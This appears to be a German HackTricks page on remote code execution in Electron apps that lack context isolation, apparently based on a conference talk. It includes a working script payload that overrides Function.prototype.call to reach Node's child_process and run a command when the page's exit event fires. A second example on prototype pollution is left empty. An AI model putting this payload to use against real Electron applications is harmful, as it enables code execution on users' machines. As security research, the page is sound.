2.0 KiB
Electron contextIsolation RCE über internen Code von Electron
{{#include ../../../banners/hacktricks-training.md}}
Beispiel 1
Beispiel von https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41
Der "exit"-Ereignis-Listener wird immer durch den internen Code gesetzt, wenn das Laden der Seite gestartet wird. Dieses Ereignis wird kurz vor der Navigation ausgelöst:
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{{#ref}}
664c184fcb/lib/common/asar.js (L30-L36)
{{#endref}}
8a44289089/bin/events.js (L156-L231)
-- Existiert nicht mehr
Dann geht es hierhin:
Wo "self" das Prozessobjekt von Node ist:
Das Prozessobjekt hat eine Referenz zur "require"-Funktion:
process.mainModule.require
Da der handler.call das Prozessobjekt empfangen wird, können wir es überschreiben, um beliebigen Code auszuführen:
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
Beispiel 2
Erhalte require-Objekt aus Prototyp-Pollution. Von https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Leck:

Exploits:

{{#include ../../../banners/hacktricks-training.md}}